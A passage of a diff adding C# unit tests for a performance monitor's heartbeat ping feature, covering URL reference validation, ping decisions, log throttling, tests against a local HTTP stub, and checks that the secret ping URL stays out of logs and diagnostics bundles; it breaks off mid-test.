+        Assert.Contains("heartbeat.url", problem, StringComparison.Ordinal);
+        Assert.DoesNotContain("secret-path-5450", problem, StringComparison.Ordinal);
+        Assert.DoesNotContain("BAD NAME", problem, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Validate_ChecksOnlyTheShapeOfAReference_AndNeverResolvesIt()
+    {
+        /* The secure setups (a variable in the service's environment, a file only its account reads) are the ones an
+           operator's shell cannot resolve, so a well-formed reference to something absent here is still valid (#5460). */
+        var missingFile = Path.Combine(Path.GetTempPath(), "heartbeat-5450-absent-" + Guid.NewGuid().ToString("N") + ".txt");
+        Assert.Empty(HeartbeatConfig.Validate(new HeartbeatConfig { Url = "env:DARLING_TEST_HEARTBEAT_NEVER_SET_5450" }));
+        Assert.Empty(HeartbeatConfig.Validate(new HeartbeatConfig { Url = "file:" + missingFile }));
+
+        /* A reference holding a bad URL is also not read here: the loop reads it. */
+        var name = "DARLING_TEST_HEARTBEAT_URL_SHAPE_5450";
+        try
+        {
+            Environment.SetEnvironmentVariable(name, "ftp://hc-ping.example/" + Token);
+            Assert.Empty(HeartbeatConfig.Validate(new HeartbeatConfig { Url = "env:" + name }));
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable(name, null);
+        }
+    }
+
+    [Fact]
+    public async Task EnvReference_ResolvesOnTheTick_AndAFailureIsFixedTextWithNoNameOrValue()
+    {
+        var name = "DARLING_TEST_HEARTBEAT_URL_5450";
+        try
+        {
+            Environment.SetEnvironmentVariable(name, "https://hc-ping.example/" + Token);
+            var heartbeat = new HeartbeatConfig { Url = "env:" + name };
+            var (uri, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Null(problem);
+            Assert.Equal("hc-ping.example", uri!.Host);
+
+            Environment.SetEnvironmentVariable(name, "ftp://hc-ping.example/" + Token);
+            (uri, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Null(uri);
+            Assert.Equal(HeartbeatConfig.UrlShapeProblem, problem);
+
+            Environment.SetEnvironmentVariable(name, "https://user:pw@hc-ping.example/" + Token);
+            (_, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Equal(HeartbeatConfig.UserInfoProblem, problem);
+
+            Environment.SetEnvironmentVariable(name, null);
+            (uri, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Null(uri);
+            Assert.Equal(HeartbeatConfig.EnvUnsetProblem, problem);
+            Assert.DoesNotContain(name, problem, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable(name, null);
+        }
+    }
+
+    [Fact]
+    public async Task FileReference_ResolvesOnTheTick_WithFixedTextForEveryFailure()
+    {
+        var path = Path.Combine(Path.GetTempPath(), "heartbeat-5450-" + Guid.NewGuid().ToString("N") + ".txt");
+        try
+        {
+            var heartbeat = new HeartbeatConfig { Url = "file:" + path };
+
+            await File.WriteAllTextAsync(path, "https://hc-ping.example/" + Token + "\n", Ct);
+            var (uri, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Null(problem);
+            Assert.EndsWith(Token, uri!.AbsolutePath, StringComparison.Ordinal);
+
+            /* A byte-order mark, as Windows editors write one. */
+            await File.WriteAllBytesAsync(path, [0xEF, 0xBB, 0xBF, .. Encoding.UTF8.GetBytes("https://hc-ping.example/bom\n")], Ct);
+            (uri, problem) = await heartbeat.ResolveAsync(Ct);
+            Assert.Null(problem);
+            Assert.Equal("/bom", uri!.AbsolutePath);
+
+            await File.WriteAllTextAsync(path, "  \n", Ct);
+            Assert.Equal(HeartbeatConfig.FileEmptyProblem, (await heartbeat.ResolveAsync(Ct)).Problem);
+
+            /* A cap on the read (#5460): a file past 8 KB is refused, never read whole. */
+            await File.WriteAllTextAsync(path, "https://hc-ping.example/" + new string('x', HeartbeatConfig.MaxReferenceFileBytes), Ct);
+            Assert.Equal(HeartbeatConfig.FileTooLargeProblem, (await heartbeat.ResolveAsync(Ct)).Problem);
+
+            await File.WriteAllTextAsync(path, "not a url " + Token, Ct);
+            var shape = (await heartbeat.ResolveAsync(Ct)).Problem;
+            Assert.Equal(HeartbeatConfig.UrlShapeProblem, shape);
+
+            File.Delete(path);
+            var missing = (await heartbeat.ResolveAsync(Ct)).Problem;
+            Assert.Equal(HeartbeatConfig.FileUnreadableProblem, missing);
+            Assert.DoesNotContain(Path.GetFileName(path), missing, StringComparison.Ordinal);
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+
+    [Fact]
+    public async Task FileReference_AtTheCap_IsRead()
+    {
+        var path = Path.Combine(Path.GetTempPath(), "heartbeat-5450-cap-" + Guid.NewGuid().ToString("N") + ".txt");
+        try
+        {
+            var prefix = "https://hc-ping.example/";
+            await File.WriteAllTextAsync(path, prefix + new string('x', HeartbeatConfig.MaxReferenceFileBytes - prefix.Length), Ct);
+            var (uri, problem) = await new HeartbeatConfig { Url = "file:" + path }.ResolveAsync(Ct);
+            Assert.Null(problem);
+            Assert.NotNull(uri);
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+
+    [Fact]
+    public void TheReferenceIsCaptured_AsAWrittenSecret()
+    {
+        /* The owned-secrets walker is reflective: a reference in heartbeat.url is found with the others. */
+        var config = DarlingConfig.Parse("{\"heartbeat\":{\"url\":\"env:HEARTBEAT_URL_X\"}}");
+        Assert.Contains("env:HEARTBEAT_URL_X", config.SecretReferencesAsWritten);
+    }
+
+    [Fact]
+    public void NoReadSurface_ReferencesTheHeartbeatBlock()
+    {
+        /* File-only and secret: the web, MCP, triage and CLI code never read heartbeat.url. Only the config class that
+           declares and validates it, the loop, the worker that starts it, and the diagnostics bundle's classification
+           list (which EXCLUDES it from the bundle) name it. A new file that does must be added here on purpose. */
+        var allowed = new HashSet<string>(StringComparer.Ordinal)
+        {
+            "DarlingConfig.cs", "DarlingHeartbeat.cs", "DarlingWorker.cs", "DiagnosticsBundle.cs",
+        };
+        var serviceDir = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service");
+        var offenders = Directory.EnumerateFiles(serviceDir, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                        && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal))
+            .Where(f => !allowed.Contains(Path.GetFileName(f)))
+            .Where(f => System.Text.RegularExpressions.Regex.IsMatch(File.ReadAllText(f), @"HeartbeatConfig|DarlingHeartbeat|\.Heartbeat\b|""heartbeat"""))
+            .Select(Path.GetFileName)
+            .ToList();
+        Assert.Empty(offenders);
+    }
+
+    private static string RepoRoot([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+
+    /* ───────────────────────── decision ───────────────────────── */
+
+    [Fact]
+    public void Decide_FreshPings_StaleSkips_NoEnabledServersPings_ReadFailureSkips()
+    {
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 3, Now.AddMinutes(-1)), Now));
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 3, Now.AddMinutes(-14).AddSeconds(-59)), Now));
+        /* #5460: fresh means now - 15 min <= newest <= now + 5 min, both ends inclusive. */
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 3, Now.AddMinutes(-15)), Now));
+        Assert.Equal(HeartbeatDecision.SkipStale, DarlingHeartbeat.Decide(new HeartbeatRead(true, 3, Now.AddMinutes(-15).AddSeconds(-1)), Now));
+        Assert.Equal(HeartbeatDecision.SkipStale, DarlingHeartbeat.Decide(new HeartbeatRead(true, 3, Now.AddHours(-6)), Now));
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 0, null), Now));
+        Assert.Equal(HeartbeatDecision.SkipStale, DarlingHeartbeat.Decide(new HeartbeatRead(true, 2, null), Now));
+        Assert.Equal(HeartbeatDecision.SkipReadFailed, DarlingHeartbeat.Decide(new HeartbeatRead(false, 0, null), Now));
+        /* A little clock skew is fresh; a newest time further ahead than 5 minutes is not (fail-closed, #5460). */
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 1, Now.AddMinutes(2)), Now));
+        Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(new HeartbeatRead(true, 1, Now.AddMinutes(5)), Now));
+        Assert.Equal(HeartbeatDecision.SkipFuture, DarlingHeartbeat.Decide(new HeartbeatRead(true, 1, Now.AddMinutes(5).AddSeconds(1)), Now));
+        Assert.Equal(HeartbeatDecision.SkipFuture, DarlingHeartbeat.Decide(new HeartbeatRead(true, 1, Now.AddDays(30)), Now));
+    }
+
+    [Fact]
+    public void TheThreshold_IsTheSharedGapConstant_AndTheReadReusesTheSharedSql()
+    {
+        Assert.Equal(15, DarlingSelfAlertEvaluator.CollectionGapAtStartThreshold.TotalMinutes);
+        Assert.Contains(DarlingSelfAlertEvaluator.NewestCollectionTimeSql, DarlingHeartbeat.ReadSql, StringComparison.Ordinal);
+        Assert.Contains("is_enabled", DarlingHeartbeat.ReadSql, StringComparison.Ordinal);
+    }
+
+    /* ───────────────────────── failure-log throttle ───────────────────────── */
+
+    [Fact]
+    public void Gate_WarnsFirst_ThenOncePerHour_ThenOneRecovery()
+    {
+        var gate = new HeartbeatFailureGate();
+        Assert.Equal(HeartbeatLogEdge.None, gate.OnSuccess());
+        Assert.Equal(HeartbeatLogEdge.Warn, gate.OnFailure(Now));
+        Assert.Equal(HeartbeatLogEdge.None, gate.OnFailure(Now.AddMinutes(5)));
+        Assert.Equal(HeartbeatLogEdge.None, gate.OnFailure(Now.AddMinutes(59)));
+        Assert.Equal(HeartbeatLogEdge.Warn, gate.OnFailure(Now.AddMinutes(60)));
+        Assert.Equal(HeartbeatLogEdge.None, gate.OnFailure(Now.AddMinutes(90)));
+        Assert.Equal(HeartbeatLogEdge.Recovered, gate.OnSuccess());
+        Assert.Equal(HeartbeatLogEdge.None, gate.OnSuccess());
+        /* A new failure after recovery warns at once. */
+        Assert.Equal(HeartbeatLogEdge.Warn, gate.OnFailure(Now.AddMinutes(91)));
+    }
+
+    /* ───────────────────────── HTTP against a local stub ───────────────────────── */
+
+    private sealed class Stub : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Func<string, string?> _respond;
+        private int _requests;
+
+        /// <param name="respond">Gets the request line's path; returns the full raw response, or null to never answer.</param>
+        public Stub(Func<string, string?> respond)
+        {
+            _respond = respond;
+            _listener.Start();
+            _ = Task.Run(AcceptLoopAsync);
+        }
+
+        public int Port => ((IPEndPoint)_listener.LocalEndpoint).Port;
+
+        public int Requests => Volatile.Read(ref _requests);
+
+        public string Url(string path) => "http://127.0.0.1:" + Port + path;
+
+        private async Task AcceptLoopAsync()
+        {
+            try
+            {
+                while (!_stop.IsCancellationRequested)
+                {
+                    var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                    _ = Task.Run(() => HandleAsync(client));
+                }
+            }
+            catch (Exception)
+            {
+                /* Stopping. */
+            }
+        }
+
+        private async Task HandleAsync(TcpClient client)
+        {
+            using (client)
+            {
+                try
+                {
+                    var stream = client.GetStream();
+                    var buffer = new byte[4096];
+                    var read = await stream.ReadAsync(buffer, _stop.Token);
+                    var head = Encoding.ASCII.GetString(buffer, 0, read);
+                    var path = head.Split(' ')[1];
+                    Interlocked.Increment(ref _requests);
+                    var response = _respond(path);
+                    if (response is null)
+                    {
+                        await Task.Delay(Timeout.Infinite, _stop.Token);
+                        return;
+                    }
+
+                    await stream.WriteAsync(Encoding.ASCII.GetBytes(response), _stop.Token);
+                }
+                catch (Exception)
+                {
+                    /* Stopping or the client gave up. */
+                }
+            }
+        }
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            _stop.Dispose();
+        }
+    }
+
+    private static string Reply(int code, string? location = null) =>
+        $"HTTP/1.1 {code} X\r\nContent-Length: 0\r\nConnection: close\r\n" + (location is null ? "" : $"Location: {location}\r\n") + "\r\n";
+
+    [Fact]
+    public async Task Ping_2xx_IsSuccess_AndSendsAGet()
+    {
+        string? seen = null;
+        using var stub = new Stub(path => { seen = path; return Reply(200); });
+        var (ok, reason) = await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri(stub.Url("/ping/" + Token)), TimeSpan.FromSeconds(5), Ct);
+        Assert.True(ok);
+        Assert.Null(reason);
+        Assert.Equal("/ping/" + Token, seen);
+        Assert.Equal(1, stub.Requests);
+    }
+
+    [Theory]
+    [InlineData(204, true)]
+    [InlineData(299, true)]
+    [InlineData(400, false)]
+    [InlineData(404, false)]
+    [InlineData(500, false)]
+    [InlineData(503, false)]
+    public async Task Ping_OnlyA2xxIsSuccess(int code, bool expected)
+    {
+        using var stub = new Stub(_ => Reply(code));
+        var (ok, reason) = await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri(stub.Url("/x")), TimeSpan.FromSeconds(5), Ct);
+        Assert.Equal(expected, ok);
+        Assert.Equal(expected, reason is null);
+        if (!expected)
+        {
+            Assert.Equal("HTTP " + code, reason);
+        }
+    }
+
+    [Fact]
+    public async Task Ping_ANoAnswer_TimesOut_AsAFailureNotACancellation()
+    {
+        using var stub = new Stub(_ => null);
+        var (ok, reason) = await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri(stub.Url("/x")), TimeSpan.FromMilliseconds(300), Ct);
+        Assert.False(ok);
+        Assert.Contains("no answer within", reason, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Ping_ACallerCancel_Propagates()
+    {
+        using var stub = new Stub(_ => null);
+        using var cts = CancellationTokenSource.CreateLinkedTokenSource(Ct);
+        cts.CancelAfter(200);
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(async () =>
+            await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri(stub.Url("/x")), TimeSpan.FromSeconds(30), cts.Token));
+    }
+
+    [Fact]
+    public async Task Ping_A3xx_IsNotFollowed_AndIsAFailure()
+    {
+        using var target = new Stub(_ => Reply(200));
+        using var redirector = new Stub(_ => Reply(302, target.Url("/elsewhere")));
+        var (ok, reason) = await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri(redirector.Url("/x")), TimeSpan.FromSeconds(5), Ct);
+        Assert.False(ok);
+        Assert.Equal("HTTP 302", reason);
+        Assert.Equal(1, redirector.Requests);
+        Assert.Equal(0, target.Requests);
+    }
+
+    [Fact]
+    public async Task Ping_AConnectionFailure_IsAFailure_WithAReasonThatHasNoUrl()
+    {
+        int port;
+        using (var l = new TcpListener(IPAddress.Loopback, 0))
+        {
+            l.Start();
+            port = ((IPEndPoint)l.LocalEndpoint).Port;
+        }
+
+        var (ok, reason) = await DarlingHeartbeat.PingAsync(DarlingHeartbeat.SharedClient, new Uri($"http://127.0.0.1:{port}/{Token}"), TimeSpan.FromSeconds(5), Ct);
+        Assert.False(ok);
+        Assert.DoesNotContain(Token, reason, StringComparison.Ordinal);
+    }
+
+    /* ───────────────────────── the loop's tick, and the log ───────────────────────── */
+
+    private sealed class Clock
+    {
+        public DateTime Value = Now;
+    }
+
+    private static (DarlingHeartbeat Heartbeat, CapturingTestLogger Logger, Clock Clock) Build()
+    {
+        var logger = new CapturingTestLogger();
+        var clock = new Clock();
+        var client = new HttpClient(new SocketsHttpHandler { AllowAutoRedirect = false }) { Timeout = TimeSpan.FromSeconds(30) };
+        return (new DarlingHeartbeat(logger, client, () => clock.Value), logger, clock);
+    }
+
+    private static Func<CancellationToken, Task<HeartbeatRead>> ReadOf(HeartbeatRead read) => _ => Task.FromResult(read);
+
+    [Fact]
+    public async Task Tick_PingsWhenFresh_SkipsWhenStaleOrUnreadable_PingsWithNoEnabledServers()
+    {
+        using var stub = new Stub(_ => Reply(200));
+        var (hb, _, _) = Build();
+        var config = new HeartbeatConfig { Url = stub.Url("/ping/" + Token) };
+
+        Assert.Equal(HeartbeatDecision.Ping, await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 2, Now.AddMinutes(-2))), Ct));
+        Assert.Equal(1, stub.Requests);
+
+        Assert.Equal(HeartbeatDecision.SkipStale, await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 2, Now.AddMinutes(-40))), Ct));
+        Assert.Equal(HeartbeatDecision.SkipReadFailed, await hb.TickAsync(config, ReadOf(new HeartbeatRead(false, 0, null)), Ct));
+        Assert.Equal(1, stub.Requests);
+
+        Assert.Equal(HeartbeatDecision.Ping, await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 0, null)), Ct));
+        Assert.Equal(2, stub.Requests);
+    }
+
+    [Fact]
+    public async Task Tick_TheUrlNeverReachesALogLine_OnFailure_Recovery_Skip_OrABadReference()
+    {
+        var ok = true;
+        using var stub = new Stub(_ => ok ? Reply(200) : Reply(500));
+        var (hb, logger, clock) = Build();
+        var url = stub.Url("/ping/" + Token);
+        var config = new HeartbeatConfig { Url = url };
+        /* Fresh against the test clock as it moves: the newest collection is always a minute old. */
+        Func<CancellationToken, Task<HeartbeatRead>> fresh = _ => Task.FromResult(new HeartbeatRead(true, 1, clock.Value.AddMinutes(-1)));
+
+        ok = false;
+        /* The stub is http://, so the first tick also logs the one http warning (#5460): two warnings, not one. */
+        await hb.TickAsync(config, fresh, Ct);                       /* failure: one warning */
+        clock.Value = Now.AddMinutes(5);
+        await hb.TickAsync(config, fresh, Ct);                       /* throttled: no second warning */
+        Assert.Equal(2, logger.CountAtLevel(LogLevel.Warning));
+
+        clock.Value = Now.AddMinutes(61);
+        await hb.TickAsync(config, fresh, Ct);                       /* an hour on: one more */
+        Assert.Equal(3, logger.CountAtLevel(LogLevel.Warning));
+
+        ok = true;
+        await hb.TickAsync(config, fresh, Ct);                       /* recovery line, once */
+        await hb.TickAsync(config, fresh, Ct);
+        Assert.Equal(1, logger.Lines.Count(l => l.Contains("succeeded again", StringComparison.Ordinal)));
+
+        await hb.TickAsync(config, ReadOf(new HeartbeatRead(false, 0, null)), Ct);   /* skip line */
+        await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 1, clock.Value.AddHours(-3))), Ct);
+
+        var bad = new HeartbeatConfig { Url = "env:DARLING_TEST_HEARTBEAT_UNSET_5450" };
+        await hb.TickAsync(bad, fresh, Ct);                          /* bad reference line */
+        Assert.DoesNotContain(logger.Lines, l => l.Contains("DARLING_TEST_HEARTBEAT_UNSET_5450", StringComparison.Ordinal));
+
+        Assert.NotEmpty(logger.Lines);
+        Assert.All(logger.Lines, line =>
+        {
+            Assert.DoesNotContain(Token, line, StringComparison.Ordinal);
+            Assert.DoesNotContain("/ping/", line, StringComparison.Ordinal);
+            Assert.DoesNotContain(url, line, StringComparison.Ordinal);
+        });
+
+        /* The scheme and host ARE named. */
+        Assert.Contains(logger.Lines, l => l.Contains("http://127.0.0.1", StringComparison.Ordinal));
+        Assert.Empty(logger.ExceptionsAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task Tick_SkipLogsOnTheEdge_AndLogsTheResume()
+    {
+        using var stub = new Stub(_ => Reply(200));
+        var (hb, logger, _) = Build();
+        var config = new HeartbeatConfig { Url = stub.Url("/x") };
+        var stale = ReadOf(new HeartbeatRead(true, 1, Now.AddHours(-1)));
+
+        await hb.TickAsync(config, stale, Ct);
+        await hb.TickAsync(config, stale, Ct);
+        Assert.Equal(1, logger.Lines.Count(l => l.Contains("ping skipped", StringComparison.Ordinal)));
+
+        await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 1, Now.AddMinutes(-1))), Ct);
+        Assert.Equal(1, logger.Lines.Count(l => l.Contains("pings resume", StringComparison.Ordinal)));
+        Assert.Equal(1, stub.Requests);
+    }
+
+    [Fact]
+    public async Task Run_WithNoUrl_ReturnsAtOnce_AndWithAUrl_StopsCleanlyOnCancel()
+    {
+        var (hb, _, _) = Build();
+        await hb.RunAsync(new HeartbeatConfig(), null!, Ct);     /* off: never touches the store, returns */
+
+        /* On: a cancelled token ends the loop without throwing, before it reaches the store. */
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+        await hb.RunAsync(new HeartbeatConfig { Url = "https://hc-ping.example/x" }, null!, cts.Token);
+    }
+
+    /* ───────────────────────── review round 1 (#5460) ───────────────────────── */
+
+    [Fact]
+    public async Task Tick_AFileReferenceFailure_LogsFixedText_ThrottledLikeAFailedPing_AndARotatedFileIsPickedUp()
+    {
+        var paths = new List<string>();
+        using var stub = new Stub(path =>
+        {
+            lock (paths)
+            {
+                paths.Add(path);
+            }
+
+            return Reply(200);
+        });
+        var (hb, logger, clock) = Build();
+        var file = Path.Combine(Path.GetTempPath(), "heartbeat-5450-marker-" + Guid.NewGuid().ToString("N") + ".txt");
+        var config = new HeartbeatConfig { Url = "file:" + file };
+        Func<CancellationToken, Task<HeartbeatRead>> fresh = _ => Task.FromResult(new HeartbeatRead(true, 1, clock.Value.AddMinutes(-1)));
+        try
+        {
+            /* Missing: logs once, then once an hour; the log names neither the path nor its file name. */
+            Assert.Null(await hb.TickAsync(config, fresh, Ct));
+            clock.Value = Now.AddMinutes(10);
+            Assert.Null(await hb.TickAsync(config, fresh, Ct));
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+            clock.Value = Now.AddMinutes(61);
+            Assert.Null(await hb.TickAsync(config, fresh, Ct));
+            Assert.Equal(2, logger.CountAtLevel(LogLevel.Warning));
+            Assert.All(logger.Lines, line => Assert.DoesNotContain("heartbeat-5450-marker", line, StringComparison.Ordinal));
+            Assert.Contains(logger.Lines, l => l.Contains(HeartbeatConfig.FileUnreadableProblem, StringComparison.Ordinal));
+            Assert.Empty(paths);
+
+            /* Written, then rewritten: each tick reads the file again. */
+            await File.WriteAllTextAsync(file, stub.Url("/first"), Ct);
+            Assert.Equal(HeartbeatDecision.Ping, await hb.TickAsync(config, fresh, Ct));
+            await File.WriteAllTextAsync(file, stub.Url("/second"), Ct);
+            Assert.Equal(HeartbeatDecision.Ping, await hb.TickAsync(config, fresh, Ct));
+            Assert.Equal(new[] { "/first", "/second" }, paths);
+        }
+        finally
+        {
+            File.Delete(file);
+        }
+    }
+
+    [Fact]
+    public async Task Tick_AnHttpUrl_LogsOneWarningAtStart_AnHttpsUrlLogsNone()
+    {
+        using var stub = new Stub(_ => Reply(200));
+        var (hb, logger, clock) = Build();
+        Func<CancellationToken, Task<HeartbeatRead>> fresh = _ => Task.FromResult(new HeartbeatRead(true, 1, clock.Value.AddMinutes(-1)));
+        var config = new HeartbeatConfig { Url = stub.Url("/x/" + Token) };
+
+        await hb.TickAsync(config, fresh, Ct);
+        await hb.TickAsync(config, fresh, Ct);
+        await hb.TickAsync(config, fresh, Ct);
+        var http = logger.Lines.Where(l => l.Contains("http://, so", StringComparison.Ordinal)).ToList();
+        Assert.Single(http);
+        Assert.DoesNotContain(Token, http[0], StringComparison.Ordinal);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+
+        /* https: nothing about cleartext. A closed local port fails fast, which is all this needs. */
+        var (hb2, logger2, clock2) = Build();
+        Func<CancellationToken, Task<HeartbeatRead>> fresh2 = _ => Task.FromResult(new HeartbeatRead(true, 1, clock2.Value.AddMinutes(-1)));
+        await hb2.TickAsync(new HeartbeatConfig { Url = "https://127.0.0.1:1/x" }, fresh2, Ct);
+        Assert.DoesNotContain(logger2.Lines, l => l.Contains("http://, so", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Tick_ANewestTimeInTheFuture_SkipsThePing_AndLogsFixedTextOnTheEdge()
+    {
+        using var stub = new Stub(_ => Reply(200));
+        var (hb, logger, _) = Build();
+        var config = new HeartbeatConfig { Url = stub.Url("/ping/" + Token) };
+        var future = ReadOf(new HeartbeatRead(true, 2, Now.AddHours(2)));
+
+        Assert.Equal(HeartbeatDecision.SkipFuture, await hb.TickAsync(config, future, Ct));
+        Assert.Equal(HeartbeatDecision.SkipFuture, await hb.TickAsync(config, future, Ct));
+        Assert.Equal(0, stub.Requests);
+        Assert.Equal(1, logger.Lines.Count(l => l.Contains("in the future", StringComparison.Ordinal)));
+        Assert.All(logger.Lines, line => Assert.DoesNotContain(Token, line, StringComparison.Ordinal));
+
+        /* Back in range: pings resume and says so once. */
+        Assert.Equal(HeartbeatDecision.Ping, await hb.TickAsync(config, ReadOf(new HeartbeatRead(true, 2, Now.AddMinutes(-1))), Ct));
+        Assert.Equal(1, stub.Requests);
+        Assert.Equal(1, logger.Lines.Count(l => l.Contains("pings resume", StringComparison.Ordinal)));
+    }
+
+    [Fact]
+    public async Task NullBlock_IsOff_AndNothingThrows_InTheConfigTheLoopOrTheWorkersAwait()
+    {
+        /* "heartbeat": null used to land as a null property and fault the loop's task (#5460). */
+        var config = DarlingConfig.Parse("{\"heartbeat\":null}");
+        Assert.NotNull(config.Heartbeat);
+        Assert.False(config.Heartbeat.IsConfigured);
+        Assert.Empty(HeartbeatConfig.Validate(config.Heartbeat));
+        Assert.Empty(HeartbeatConfig.Validate(null));
+        _ = config.SecretReferencesAsWritten;
+
+        var (hb, _, _) = Build();
+        await hb.RunAsync(config.Heartbeat, null!, Ct);
+        await hb.RunAsync(null, null!, Ct);
+        await hb.RunLoopAsync(null, ReadOf(new HeartbeatRead(true, 0, null)), Ct);
+
+        var assigned = new DarlingConfig { Heartbeat = null! };
+        Assert.NotNull(assigned.Heartbeat);
+    }
+
+    [Fact]
+    public async Task Loop_AnUnrelatedCancellationOrAnException_IsLoggedThrottled_AndTheLoopGoesOn()
+    {
+        var logger = new CapturingTestLogger();
+        var clock = new Clock();
+        using var stop = new CancellationTokenSource();
+        var delays = 0;
+        var reads = 0;
+        var hb = new DarlingHeartbeat(
+            logger, new HttpClient(), () => clock.Value,
+            delay: (_, token) =>
+            {
+                if (++delays >= 4)
+                {
+                    stop.Cancel();
+                }
+
+                token.ThrowIfCancellationRequested();
+                return Task.CompletedTask;
+            });
+        Task<HeartbeatRead> Read(CancellationToken _)
+        {
+            reads++;
+            if (reads == 1)
+            {
+                /* A cancellation that is NOT the stopping token: a driver or handler giving up inside. */
+                throw new OperationCanceledException();
+            }
+
+            throw new InvalidOperationException("secret detail " + Token);
+        }
+
+        await hb.RunLoopAsync(new HeartbeatConfig { Url = "https://hc-ping.example/x" }, Read, stop.Token);
+
+        Assert.Equal(4, reads);
+        var failed = logger.Lines.Where(l => l.Contains("tick failed", StringComparison.Ordinal)).ToList();
+        Assert.Single(failed);                                     /* throttled: one line for four ticks */
+        Assert.Contains("OperationCanceledException", failed[0], StringComparison.Ordinal);
+        Assert.All(logger.Lines, line => Assert.DoesNotContain("secret detail", line, StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Loop_ShutdownEndsItQuietly_EvenInsideATick()
+    {
+        var logger = new CapturingTestLogger();
+        using var stop = new CancellationTokenSource();
+        var hb = new DarlingHeartbeat(logger, new HttpClient());
+        Task<HeartbeatRead> Read(CancellationToken token)
+        {
+            stop.Cancel();
+            token.ThrowIfCancellationRequested();
+            return Task.FromResult(new HeartbeatRead(true, 0, null));
+        }
+
+        await hb.RunLoopAsync(new HeartbeatConfig { Url = "https://hc-ping.example/x" }, Read, stop.Token);
+        Assert.DoesNotContain(logger.Lines, l => l.Contains("tick failed", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task Loop_TheFirstTick_DoesNotRunOnTheCallersStartupPath()
+    {
+        var callerReturned = 0;
+        var sawCallerReturned = false;
+        using var stop = new CancellationTokenSource();
+        var hb = new DarlingHeartbeat(new CapturingTestLogger(), new HttpClient(), delay: (_, token) =>
+        {
+            stop.Cancel();
+            token.ThrowIfCancellationRequested();
+            return Task.CompletedTask;
+        });
+        Task<HeartbeatRead> Read(CancellationToken _)
+        {
+            /* On the caller's own thread this waits the whole 3 seconds and sees false: the call has not returned. */
+            sawCallerReturned = SpinWait.SpinUntil(() => Volatile.Read(ref callerReturned) == 1, TimeSpan.FromSeconds(3));
+            return Task.FromResult(new HeartbeatRead(true, 0, null));
+        }
+
+        var task = hb.RunLoopAsync(new HeartbeatConfig { Url = "https://127.0.0.1:1/x" }, Read, stop.Token);
+        Volatile.Write(ref callerReturned, 1);
+        await task;
+        Assert.True(sawCallerReturned);
+    }
+
+    [Fact]
+    public void TheDiagnosticsBundle_AliasesTheHeartbeatHost_AndRegistersTheUrlAsASecret()
+    {
+        /* The service-log warning names scheme and host, and the bundle is meant for public bug reports. */
+        var literal = new DarlingConfig { Heartbeat = new HeartbeatConfig { Url = "https://kuma.zetahb5450.example.test/api/push/" + Token } };
+        var aliaser = new BundleAliaser();
+        DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, literal);
+        var text = aliaser.Alias("Heartbeat ping to https://kuma.zetahb5450.example.test failed (HTTP 500). Pushed https://kuma.zetahb5450.example.test/api/push/" + Token);
+        Assert.DoesNotContain("zetahb5450", text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(Token, text, StringComparison.Ordinal);
+
+        /* A reference: resolved for the seed, and what it holds is registered the same way. */
+        var file = Path.Combine(Path.GetTempPath(), "heartbeat-5450-bundle-" + Guid.NewGuid().ToString("N") + ".txt");
+        try
+        {
+            File.WriteAllText(file, "https://kuma.etahb5450.example.test/api/push/" + Token + "\n");
